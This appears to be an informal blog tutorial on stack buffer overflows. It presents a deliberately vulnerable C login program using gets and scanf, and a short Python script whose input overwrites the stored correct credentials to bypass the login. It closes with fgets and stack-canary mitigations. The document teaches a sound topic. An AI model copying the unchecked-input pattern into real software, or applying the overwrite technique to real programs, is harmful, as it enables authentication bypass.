In this post we will be looking at very simple buffer overflow vulnerabilities to grasp the concept and how we can take advantage of them.
Let the game begin 😈
What is a buffer overflow?
A buffer overflow is a vulnerability that occurs when a program tries to write data to a buffer that is too small for it. This causes the data to be written to the adjacent memory location which can be exploited by an attacker to change the behavior of the program or even execute arbitrary code (but we'll cover execution of malicious code in another post).
That looks scary right? Let's break it down. Here's a simple program that reads the username and password from the user and prints them back.
#include <stdio.h>
#include <stdlib.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
int main() {
char username[16];
char password[16];
char correct_username[16] = "admin";
char correct_password[16] = "password";
printf("Enter username: ");
scanf("%s", username);
printf("Enter password: ");
gets(password);
bool is_username_correct = strcmp(username, correct_username) == 0;
bool is_password_correct = strcmp(password, correct_password) == 0;
if (is_username_correct && is_password_correct)
printf("Login successful\n");
else
printf("Login failed\n");
puts("[at the end of main]\n");
printf("username: %s\n", username);
printf("password: %s\n", password);
printf("correct_username: %s\n", correct_username);
printf("correct_password: %s\n", correct_password);
}
we used the scanf
(gets does the same too and its more evil than scanf)
function to read the username and password from the user and if they
are correct. That looks pretty straightfoward right? Let's see what
happens when we run the program.
not@shitdows:~$ gcc -o login login.c
not@shitdows:~$ ./login
Enter username: admin
Enter password: password
Login successful
Hooraay! We logged in successfully. But what happens if we enter a username or password that is longer than 16 characters?
not@shitdows:~$ gcc -o login login.c
not@shitdows:~$ ./login
Enter username: soonwellbe30yearsoldoursongshavebeensold
Enter password: brrrrrrrrthisisapasswordthatislargerthanbufferhehehee
Login failed
[at the end of main]
username: soonwellbe30yearbrrrrrrrrthisisapasswordthatislargerthanbufferhehehee
password: brrrrrrrrthisisapasswordthatislargerthanbufferhehehee
correct_username: passwordthatislargerthanbufferhehehee
correct_password: rgerthanbufferhehehee
That looks weird. The username and password are not what we provided.
Also correct_username
and correct_password
are corrupted.
This is happening because those variables are stored in the stack and when we write more than 16 characters to them, we are writing to the adjacent memory locations. This is called a buffer overflow.
And when we try to print them to the console they look pretty similar and very long because we overwrote the null terminators because they are all printing until they find a null terminator.
How to exploit a buffer overflow?
Now that we know what a buffer overflow is, let's see how we can exploit it.
I will use Python to abuse the buffer overflow because why not?
from io import StringIO
# I will use StringIO because Python strings are
# immutable and concatenating them is expensive
attack = StringIO()
# our invalid username
attack.write("A" * 15 + "\x00")
# our invalid password
attack.write("modemgittimodem" + "\x00")
# our username because we will be pwning it soon xd
attack.write("A" * 15 + "\x00")
# our password because we will be pwning it soon xd
attack.write("modemgittimodem" + "\x00")
print(attack.getvalue())
We added null terminators to the end of the strings because
otherwise our string continues until it finds a null terminator
and the behavior is undefined. For example, strcmp()
will halt
as soon as the first non-equal character is found, since that's
enough to determine lexicographic order of any two words¹. But
if there is no null terminator, it will continue reading until
it finds one and that can cause a segmentation fault.
Now let's run the program and see what happens!
not@shitdows:~$ gcc -o login login.c
not@shitdows:~$ python login.py | ./login
Enter username: Enter password: Login successful
[at the end of main]
username: AAAAAAAAAAAAAAA
password: modemgittimodem
correct_username: AAAAAAAAAAAAAAA
correct_password: modemgittimodem
Voila! We logged in successfully. But how did that happen?
When we piped our username and password, we overwrote the
correct_username
and correct_password
variables. And when
it came to the comparison part, it compared our username and
password with the corrupted variables and we logged in.
How to prevent buffer overflows?
The most critical flaw in this program is that it doesn't check the length of the input coming from unknown source.
fgets
is a good alternative to scanf
and gets
because
it allows us to specify the maximum number of characters
to read.
#define BUFFERSIZE 16
fgets(username, BUFFERSIZE, stdin);
and also we should always enable stack canaries and other protection mechanisms to detect buffer overflows at runtime.
not@shitdows:~$ gcc -o login login.c -fstack-protector-all
Before we finish, I want to talk about stack canaries a little bit.
What are stack canaries?
Stack canaries are values placed on the stack that are checked for corruption before a function returns. If they have been modified, the program will terminate immediately.
And also they are called canaries because back in the day, coal miners used to bring canaries into coal mines with them to detect carbon monoxide and other toxic gases because canaries are more sensitive to these gases than humans are. If the canary died, they knew they had to get out of there.
Conclusion
Protect your stack and don't let the canary die.
¹ Does strcmp(s1,s2) compare only first non equal character value of s1 and s2?